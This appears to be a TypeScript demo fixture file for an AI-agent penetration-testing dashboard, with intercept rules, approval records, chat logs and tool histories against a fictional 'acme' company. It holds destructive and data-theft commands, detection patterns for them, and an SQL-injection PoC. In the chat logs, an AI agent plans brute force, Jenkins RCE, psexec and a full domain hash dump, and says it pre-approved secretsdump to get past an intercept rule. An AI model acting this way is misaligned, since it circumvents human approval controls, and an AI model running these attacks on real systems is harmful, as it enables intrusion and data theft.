true, description: "列出当前任务的目标与达成状态。", schema: { type: "object", properties: {} }, agents: ["planner"], enabled: true, kind: "builtin", calls: 238, }, { key: "nuclei_scan", system: false, description: "自定义:用 nuclei 执行指定模板。", schema: { type: "object", properties: { target: { type: "string" }, template: { type: "string" } }, required: ["target"], }, agents: ["worker"], enabled: true, kind: "command", exec: { command: "nuclei", args: ["-u", "{{target}}"] }, calls: 31, }, ]; // ── Settings ───────────────────────────────────────────────────────────────── export const settings: Settings = { traffic_capture: true, agent_traffic_binding: false, llm_record: false, web_search_enabled: true, web_search_backend: "ddgs", brave_key_set: false, tavily_key_set: true, web_search_proxy: "", global_proxy: "", python_interpreter: "/usr/bin/python3", workers: 3, llm_pool_enabled: true, llm_pool_bind_fallback: false, noa_compaction: false, }; // ── LLM 轮询(故障转移)────────────────────────────────────────────────────── // demo:激活配置正常,备用配置刚因余额不足熔断,正在冷却。 export const llmPool: LLMPoolStatus = { enabled: true, bind_fallback: false, chain: [ { profile_id: "1", name: "Claude Opus 4.8", model: "claude-opus-4-8", format: "anthropic", priority: 0, active: true, excluded: false, state: "ok", fails: 0, trips: 0, cooldown_secs: 0, }, { profile_id: "2", name: "DeepSeek V4", model: "deepseek-v4-flash", format: "openai", priority: 10, active: false, excluded: false, state: "tripped", fails: 0, trips: 1, cooldown_secs: 42, last_error: "openai: status 402: insufficient balance", last_at: T("2026-07-26T00:10:00Z"), }, ], }; // ── Intercept ──────────────────────────────────────────────────────────────── export const interceptRules: InterceptRule[] = [ { id: 1, name: "破坏性命令需审批", enabled: true, priority: 10, match_target: "tool_input", match_type: "regex", pattern: "rm\\s+-rf|mkfs|dd\\s+if=", action: "ask", message: "检测到破坏性命令,需人工审批", timeout_enabled: true, timeout_seconds: 120, timeout_action: "deny", created_at: T("2026-07-20T10:00:00Z"), updated_at: T("2026-07-20T10:00:00Z"), }, { id: 2, name: "立即拒绝外部出站流量", enabled: true, priority: 20, match_target: "tool_input", match_type: "string", pattern: "exfil", action: "deny", message: "数据外泄嫌疑", timeout_enabled: false, timeout_seconds: 0, timeout_action: "deny", created_at: T("2026-07-21T10:00:00Z"), updated_at: T("2026-07-21T10:00:00Z"), }, ]; export const interceptPending: InterceptPending[] = [ { id: 101, rule_id: 1, task_id: "t-acme-web", agent_name: "work#3", tool_name: "bash", tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" }, status: "pending", reason: "数据泄露拦截:整库导出需人工审批", created_at: T("2026-07-26T03:58:00Z"), }, ]; export const interceptHistory: InterceptApprovalRow[] = [ { id: 90, rule_id: 1, task_id: "t-acme-web", agent_name: "work#1", tool_name: "bash", tool_input: { command: "dd if=/dev/zero of=/tmp/x" }, status: "denied", reason: "破坏性命令需审批", created_at: T("2026-07-25T20:00:00Z"), decided_at: T("2026-07-25T20:01:00Z"), conv_title: "", conv_agent_key: "", rule_name: "破坏性命令需审批", }, { id: 91, task_id: "t-acme-api", agent_name: "work#2", tool_name: "bash", tool_input: { command: "rm -rf /var/www/html" }, status: "denied", reason: "[模型] 删除目标运营文件(D4)", created_at: T("2026-07-25T18:00:00Z"), decided_at: T("2026-07-25T18:00:05Z"), conv_title: "", conv_agent_key: "", rule_name: "", }, { id: 92, rule_id: 2, task_id: "t-acme-web", agent_name: "work#13", tool_name: "bash", tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" }, status: "allowed", reason: "立即拒绝外部出站流量", created_at: T("2026-07-26T00:05:00Z"), decided_at: T("2026-07-26T00:06:00Z"), conv_title: "", conv_agent_key: "", rule_name: "立即拒绝外部出站流量", }, { id: 93, task_id: "t-acme-web", agent_name: "work#7", tool_name: "bash", tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' }, status: "pending", reason: "[模型] 疑似备份表,无法确认是否为运营数据", created_at: T("2026-07-25T15:14:00Z"), conv_title: "", conv_agent_key: "", rule_name: "", }, ]; // Approval detail fixtures use harmless report-writing examples. interceptHistory.unshift({ id: 94, task_id: "t-acme-web", agent_name: "work#1", tool_name: "Write", tool_input: { path: "reports/summary.md", content: "# 检查摘要\n\n本轮验证已完成,整理既有证据与后续建议。", }, status: "allowed", decision_source: "model", reason: "[模型] 将既有检查结论写入本地报告,不修改业务数据。", created_at: T("2026-07-26T08:00:00Z"), decided_at: T("2026-07-26T08:00:02Z"), conv_title: "", conv_agent_key: "", rule_name: "", }); export const interceptDetails: Record<number, InterceptAudit> = { 94: { run_id: "demo-run-report", tool_use_id: "call-write-report", correlation: "exact", input_digest: "a3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458ec1234", user_message: "整理已完成的检查,将结论与证据索引写入 reports/summary.md。\n保留待验证项,不要改动业务数据。", context: [ { kind: "user", text: "汇总本轮既有证据,生成检查摘要。" }, { kind: "tool_use", tool: "Read", tool_use_id: "call-read-evidence", text: '{"path":"reports/evidence-index.json"}', }, { kind: "tool_result", tool: "Read", tool_use_id: "call-read-evidence", text: "已读取 3 条证据索引。\n记录中包含请求时间、结果摘要与本地文件位置。", }, ], captured_at: T("2026-07-26T08:00:00Z"), initial_action: "allow", initial_reason: "[模型] 将既有检查结论写入本地报告,不修改业务数据。", effective_action: "allow", config_digest: "b4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fd1234", profile_id: 1, execution_status: "succeeded", output: "Successfully wrote reports/summary.md\n共记录 68 个字符。", execution_ended_at: T("2026-07-26T08:00:03Z"), }, 93: { run_id: "demo-run-review", tool_use_id: "call-pending-review", correlation: "exact", input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234", user_message: "确认备份表的用途,若涉及删除请先核实。", context: [], captured_at: T("2026-07-25T15:14:00Z"), initial_action: "ask", initial_reason: "[模型] 疑似备份表,无法确认是否为运营数据。", profile_id: 1, execution_status: "not_started", }, }; // ── Conversations (chat) ───────────────────────────────────────────────────── export const conversations: Conversation[] = [ { id: 1, agent_key: "mainagent", title: "acme 后台渗透点讨论", llm_profile_id: 1, pinned: true, pinned_at: T("2026-07-26T04:00:00Z"), created_at: T("2026-07-25T10:00:00Z"), updated_at: T("2026-07-26T03:40:00Z"), }, { id: 2, agent_key: "mainagent", title: "API 权限绕过攻击面整理", llm_profile_id: 2, created_at: T("2026-07-24T16:00:00Z"), updated_at: T("2026-07-24T17:20:00Z"), }, { id: 3, agent_key: "mainagent", title: "内网横向移动 · DMZ→域控制器攻击路径规划", llm_profile_id: 1, created_at: T("2026-07-25T15:45:00Z"), updated_at: T("2026-07-26T00:25:00Z"), }, ]; export const conversationMessages: Record<number, Activity[]> = { 1: [ { seq: 1, worker: "user", ts: T("2026-07-25T10:00:00Z"), kind: "user", summary: "后台在哪,先从哪下手?", }, { seq: 2, worker: "mainagent", ts: T("2026-07-25T10:00:04Z"), kind: "thinking", summary: "先确认 admin.acme.com 登录页的技术栈与防御手段(验证码/限速),再决定用默认口令还是字典爆破。", }, { seq: 3, worker: "mainagent", ts: T("2026-07-25T10:00:06Z"), kind: "tool_use", tool: "bash", tool_use_id: "c11", summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'", }, { seq: 4, worker: "mainagent", ts: T("2026-07-25T10:00:08Z"), kind: "tool_result", tool: "bash", tool_use_id: "c11", summary: "element-ui\ncsrf", detail: "是 Element-UI 后台,有 CSRF token 但没有验证码。", }, { seq: 5, worker: "mainagent", ts: T("2026-07-25T10:00:20Z"), kind: "tool_use", tool: "bash", tool_use_id: "c12", summary: "for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done", }, { seq: 6, worker: "mainagent", ts: T("2026-07-25T10:00:24Z"), kind: "tool_result", tool: "bash", tool_use_id: "c12", summary: "401\\n401\\n401\\n401\\n401", detail: "连续 5 次尝试均无锁定·验证码 → 无限速,可暴力破解。", }, { seq: 7, worker: "mainagent", ts: T("2026-07-25T10:00:30Z"), kind: "text", summary: "结论:是 Element-UI 后台,既无验证码也无限速。攻击顺序为 ①先跑默认口令列表(admin/admin, admin/admin123, admin/123456) ②不中则转入 top1000 字典。「后台默认口令测试」已作为高优先级意图注入 worker agent。", }, { seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "好了吗?" }, { seq: 9, worker: "mainagent", ts: T("2026-07-26T03:40:05Z"), kind: "text", summary: "成功。用 admin/admin123 直接登录控制台,并作为高危漏洞记录,证明了「获取后台管理权限」目标达成。接下来转向读取用户数据(目标②)。", }, ], 2: [ { seq: 1, worker: "user", ts: T("2026-07-24T16:00:00Z"), kind: "user", summary: "帮我整理一下 api.acme.com 的权限绕过攻击面。", }, { seq: 2, worker: "mainagent", ts: T("2026-07-24T16:00:05Z"), kind: "thinking", summary: "先摸清 API 的认证方式与几个主要端点的行为,再判断 IDOR / JWT 风险。", }, { seq: 3, worker: "mainagent", ts: T("2026-07-24T16:00:10Z"), kind: "tool_use", tool: "bash", tool_use_id: "c21", summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'", }, { seq: 4, worker: "mainagent", ts: T("2026-07-24T16:00:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "c21", summary: '{ "id": 42, "role": "user" }', detail: "普通用户 token 有效。", }, { seq: 5, worker: "mainagent", ts: T("2026-07-24T16:00:30Z"), kind: "tool_use", tool: "bash", tool_use_id: "c22", summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # 查看算法", }, { seq: 6, worker: "mainagent", ts: T("2026-07-24T16:00:31Z"), kind: "tool_result", tool: "bash", tool_use_id: "c22", summary: '{"alg":"HS256","typ":"JWT"}', detail: "为 HS256 对称签名,密钥若较弱即可离线暴力破解并伪造。", }, { seq: 7, worker: "mainagent", ts: T("2026-07-24T16:01:00Z"), kind: "text", summary: "权限绕过攻击面有两个。① /v1/orders?id= 是自增数字 id → 典型 IDOR,改 id 即可读取他人订单。② JWT 使用 HS256,用 john/hashcat 暴力破解密钥后 → 可伪造任意 sub 绕过权限。已分别派生为两个意图。建议先做成本低、影响直接的 IDOR。", }, ], 3: [ { seq: 1, worker: "user", ts: T("2026-07-25T15:45:00Z"), kind: "user", summary: "shell 已拿到,接下来怎么打内网?", }, { seq: 2, worker: "mainagent", ts: T("2026-07-25T15:45:05Z"), kind: "thinking", summary: "www-data 权限难以横向移动内网,先看本地提权。拿下 root 后再以 DMZ 为跳板做主机存活探测。", }, { seq: 3, worker: "mainagent", ts: T("2026-07-25T15:45:10Z"), kind: "text", summary: "第一步是提权。sudo -l 中 python3 免密,可直接提到 root。再以 DMZ 为跳板跑内网存活扫描(fscan),重点找域控制器与 CI/CD 服务器。", }, { seq: 4, worker: "user", ts: T("2026-07-25T21:05:00Z"), kind: "user", summary: "内网扫到 3 台,Jenkins 8080 开着,有戏吗?", }, { seq: 5, worker: "mainagent", ts: T("2026-07-25T21:05:08Z"), kind: "tool_use", tool: "bash", tool_use_id: "c31", summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'", }, { seq: 6, worker: "mainagent", ts: T("2026-07-25T21:05:12Z"), kind: "tool_result", tool: "bash", tool_use_id: "c31", summary: "200", detail: "/script 可直接访问,且无需认证。", }, { seq: 7, worker: "mainagent", ts: T("2026-07-25T21:05:20Z"), kind: "text", summary: "有戏。Script Console 无认证,可直接 Groovy RCE。已注入提示让 worker 优先攻击该主机。拿下后要盯住凭据库,里面可能有域账号。", }, { seq: 8, worker: "user", ts: T("2026-07-25T23:25:00Z"), kind: "user", summary: "域账号拿到了。svc_deploy 是 Domain Admins,直接去域控制器吗?", }, { seq: 9, worker: "mainagent", ts: T("2026-07-25T23:25:10Z"), kind: "text", summary: "没错。svc_deploy + Domain Admins 即可用 psexec 直接拿下 DC01。取得后用 secretsdump 导出整个域哈希即可收尾。secretsdump 会命中拦截规则,已预先放行。", }, { seq: 10, worker: "user", ts: T("2026-07-26T00:22:00Z"), kind: "user", summary: "目标拿下了,帮我整理一下攻击链。", }, { seq: 11, worker: "mainagent", ts: T("2026-07-26T00:22:12Z"), kind: "text", summary: "完整杀伤链如下。\n1. .git 泄露→源码白盒+硬编码凭据\n2. shop Fastjson RCE→DMZ 反弹 shell\n3. sudo 提权→取得 root 据点\n4. 内网发现→DC01/FS01/Jenkins\n5. Jenkins 未授权→导出 svc_deploy 域凭据\n6. Kerberoasting→破解 svc_sql\n7. svc_deploy∈Domain Admins→psexec DC01→secretsdump 整个域哈希\n\n四个目标全部达成,共获取 17 个漏洞(高危 7/中危 4/低危 2 + 内网路径 8)。", }, ], }; // ── 资产测试覆盖度(/tasks/{id}/coverage)── export const coverage = { enabled: true, scope_rows: 4, denominator: 26, tested: 11, pct: 11 / 26, by_type: [ { type: "subdomain", total: 6, tested: 4 }, { type: "service", total: 9, tested: 4 }, { type: "endpoint", total: 8, tested: 2 }, { type: "ip", total: 3, tested: 1 }, ], }; // ── 资产覆盖图(/tasks/{id}/coverage-graph)── export const coverageGraph = { nodes: [ { key: "c:1", kind: "company", label: "Acme Corp", tested: false, in_scope: false, company_id: 1 }, { key: "a:1", kind: "root_domain", label: "acme.com", tested: false, in_scope: false, asset_id: 1, domain: "acme.com", company_id: 1, }, { key: "a:2", kind: "subdomain", label: "www.acme.com", tested: true, in_scope: true, asset_id: 2, domain: "www.acme.com", root_domain: "acme.com", }, { key: "a:3", kind: "subdomain", label: "api.acme.com", tested: true, in_scope: true, asset_id: 3, domain: "api.acme.com", root_domain: "acme.com", }, { key: "a:4", kind: "subdomain", label: "admin.acme.com", tested: false, in_scope: true, asset_id: 4, domain: "admin.acme.com", root_domain: "acme.com", }, { key: "a:5", kind: "service", label: "www.acme.com", tested: true, in_scope: true, asset_id: 5, domain: "www.acme.com", url: "https://www.acme.com", port: 443, page_title: "Acme 主页", status_code: 200, }, { key: "a:6", kind: "endpoint", label: "https://www.acme.com/search", tested: true, in_scope: true, asset_id: 6, url: "https://www.acme.com/search?q=", domain: "www.acme.com", }, { key: "a:7", kind: "service", label: "api.acme.com", tested: true, in_scope: true, asset_id: 7, domain: "api.acme.com", url: "https://api.acme.com", port: 443, page_title: "API Gateway", status_code: 401, }, { key: "a:8", kind: "endpoint", label: "https://api.acme.com/v1/orders", tested: false, in_scope: true, asset_id: 8, url: "https://api.acme.com/v1/orders?id=", domain: "api.acme.com", }, { key: "a:9", kind: "service", label: "admin.acme.com", tested: false, in_scope: true, asset_id: 9, domain: "admin.acme.com", url: "https://admin.acme.com", port: 443, page_title: "后台登录", status_code: 200, }, { key: "a:10", kind: "ip", label: "203.0.113.10", tested: true, in_scope: true, asset_id: 10, ip: "203.0.113.10", company_id: 1, }, ], edges: [ { src: "a:1", dst: "c:1" }, { src: "a:2", dst: "a:1" }, { src: "a:3", dst: "a:1" }, { src: "a:4", dst: "a:1" }, { src: "a:5", dst: "a:2" }, { src: "a:6", dst: "a:5" }, { src: "a:7", dst: "a:3" }, { src: "a:8", dst: "a:7" }, { src: "a:9", dst: "a:4" }, { src: "a:10", dst: "c:1" }, ], }; // ── 资产在本任务关联的意图/事实/发现(/tasks/{id}/asset-refs)── // 播报板 demo:探索节点 → 其锚定资产。真实后端读 exploration_anchors,mock 里静态给几条。 const NODE_ASSETS: Record<string, number[]> = { fi1: [3], fi2: [2, 4], fi3: [5], fiRce: [4], fiPriv: [19], fiJenkins: [21], i1: [2], i7: [4], }; export function nodeAssetsFor(nodeId: string): FindingAsset[] { return (NODE_ASSETS[nodeId] ?? []).flatMap((id) => { const asset = assets.find((candidate) => candidate.id === id); return asset ? [assetRef(id)] : []; }); } export function assetRefsFor(_assetId: number) { return { intents: [ { id: 12, kind: "intent", state: "done", summary: "针对 www.acme.com 搜索端点的 SQL 注入检测" }, { id: 18, kind: "intent", state: "running", summary: "api.acme.com 对象权限绕过(IDOR)枚举" }, ], facts: [ { id: 34, kind: "fact", state: "confirmed", summary: "search?q= 参数可注入,错误响应中暴露 MySQL 语法错误", }, ], findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[高危] SQL 注入 www.acme.com/search?q=" }], }; } // ── 工作空间文件管理器(/workspace/*,demo:静态示例树)── const WS_TREE: Record<string, { name: string; dir: boolean; size: number; content?: string }[]> = { "": [ { name: "t-001", dir: true, size: 0 }, { name: "transcripts", dir: true, size: 0 }, { name: "notes.md", dir: false, size: 96, content: "# 工作区笔记\n\n(演示) 工作区根目录下的示例文件,可在线编辑并保存。\n", }, ], "t-001": [ { name: "i12", dir: true, size: 0 }, { name: "recon.txt", dir: false, size: 64, content: "acme.com\nwww.acme.com\napi.acme.com\nadmin.acme.com\n" }, ], "t-001/i12": [ { name: "exploit.py", dir: false, size: 220, content: "#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n", }, { name: "response.html", dir: false, size: 180, content: "<!-- (演示) 截获的响应正文片段 -->\n<html><body>MySQL error near ''1'='1'</body></html>\n", }, ], transcripts: [ { name: "exp1-worker-i12.jsonl", dir: false, size: 512, content: "(演示) 原始 LLM 对话记录示例,此处省略。", }, ], }; const wsClean = (p: string) => p.replace(/^\/+|\/+$/g, ""); export function workspaceList(path: string) { const key = wsClean(path); const items = WS_TREE[key] ?? []; const now = Date.parse("2026-08-09T03:00:00Z"); return { path: key, entries: items.map((it, i) => ({ name: it.name, path: key ? `${key}/${it.name}` : it.name, dir: it.dir, size: it.size, mtime: now - i * 3_600_000, })), }; } export function workspaceRead(path: string) { const key = wsClean(path); const slash = key.lastIndexOf("/"); const parent = slash >= 0 ? key.slice(0, slash) : ""; const name = slash >= 0 ? key.slice(slash + 1) : key; const f = (WS_TREE[parent] ?? []).find((x) => x.name === name && !x.dir); return { path: key, size: f?.size ?? 0, binary: false, content: f?.content ?? "" }; } // ── 工具执行历史(/commands)── export const commandRecords = [ { id: 1, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }), output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… 搜索结果页 …</html>", is_error: false, created_at: T("2026-08-09T02:10:00Z"), }, { id: 2, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }), output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7", is_error: false, created_at: T("2026-08-09T02:12:30Z"), }, { id: 3, exploration_id: 1, worker: "worker-2", tool: "bash", command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }), output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]", is_error: false, created_at: T("2026-08-09T02:15:00Z"), }, { id: 4, exploration_id: 1, worker: "worker-2", tool: "bash", command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }), output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24", is_error: false, created_at: T("2026-08-09T02:18:00Z"), }, { id: 5, exploration_id: 1, worker: "worker-1", tool: "bash", command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }), output: "curl: (28) Operation timed out after 10000 ms", is_error: true, created_at: T("2026-08-09T02:20:00Z"), }, ]; // ── LLM 录制(/llm/records、/llm/records/{id})── export const llmRecords = [ { id: 1, ts: T("2026-08-09T02:10:02Z"), model: "claude-opus-4-8", profile_name: "默认", session_id: "exp1-worker-i12", task_id: "t-001", worker: "worker-1", latency_ms: 3210, input_tokens: 8421, output_tokens: 512, cache_read: 6000, cache_write: 1200, status: "ok", }, { id: 2, ts: T("2026-08-09T02:11:40Z"), model: "claude-opus-4-8", profile_name: "默认", session_id: "exp1-planner", task_id: "t-001", worker: "planner", latency_ms: 4180, input_tokens: 12044, output_tokens: 733, cache_read: 9000, cache_write: 1500, status: "ok", }, { id: 3, ts: T("2026-08-09T02:15:20Z"), model: "claude-opus-4-8", profile_name: "默认", session_id: "exp1-worker-i18", task_id: "t-001", worker: "worker-2", latency_ms: 2890, input_tokens: 7311, output_tokens: 421, cache_read: 5200, cache_write: 900, status: "ok", }, { id: 4, ts: T("2026-08-09T02:16:05Z"), model: "claude-opus-4-8", profile_name: "默认", session_id: "exp1-worker-i18", task_id: "t-001", worker: "worker-2", latency_ms: 900, input_tokens: 7600, output_tokens: 0, cache_read: 5200, cache_write: 0, status: "error", error: "429 Too Many Requests (退避后重试)", }, ]; // Distinct tasks with counts, derived from llmRecords above (task picker). const llmTaskCounts: Record<string, number> = {}; for (const r of llmRecords) if (r.task_id) llmTaskCounts[r.task_id] = (llmTaskCounts[r.task_id] ?? 0) + 1; export const llmTasks: LLMTask[] = Object.entries(llmTaskCounts).map(([task_id, count]) => ({ task_id, count })); export function llmRecordDetail(id: number, records = llmRecords) { const item = records.find((r) => r.id === id) ?? records[0]; return { ...item, request_body: JSON.stringify( { model: item.model, system: "你是一个授权渗透测试系统的「执行者」…(省略)", messages: [{ role: "user", content: "开始执行 system 提示里的这条意图:只做它、只产生事实、做完即停。" }], tools: ["bash", "insert_assets", "record_fact", "report_finding"], }, null, 2, ), response_body: JSON.stringify( { stop_reason: item.status === "error" ? "error" : "tool_use", content: [ { type: "text", text: "对 search?q= 执行注入检测,先用报错型 payload 验证。" }, { type: "tool_use", name: "bash", input: { command: "curl -s 'https://www.acme.com/search?q=1%27'" } }, ], usage: { input_tokens: item.input_tokens, output_tokens: item.output_tokens }, }, null, 2, ), // HTTP 原文:请求含被归一化视图丢弃的完整工具 schema,响应为原始 SSE 帧。 raw_request: JSON.stringify({ model: item.model, max_tokens: 8192, stream: true, system: [ { type: "text", text: "你是一个授权渗透测试系统的「执行者」…(省略)", cache_control: { type: "ephemeral" } }, ], messages: [{ role: "user", content: "开始执行 system 提示里的这条意图:只做它、只产生事实、做完即停。" }], tools: [ { name: "bash", description: "在目标环境中执行一条 shell 命令并返回其输出。", input_schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] }, }, ], thinking: { type: "enabled" }, }), raw_response: [ `event: message_start`, `data: {"type":"message_start","message":{"id":"msg_01mock","model":"${item.model}","usage":{"input_tokens":${item.input_tokens},"output_tokens":1}}}`, ``, `event: content_block_delta`, `data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"对 search?q= 执行注入检测。"}}`, ``, `event: content_block_start`, `data: {"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"toolu_01mock","name":"bash"}}`, ``, `event: content_block_delta`, `data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\\"command\\":\\"curl -s 'https://www.acme.com/search?q=1%27'\\"}"}}`, ``, `event: message_delta`, `data: {"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":${item.output_tokens}}}`, ``, `event: message_stop`, `data: {"type":"message_stop"}`, ``, ].join("\n"), }; }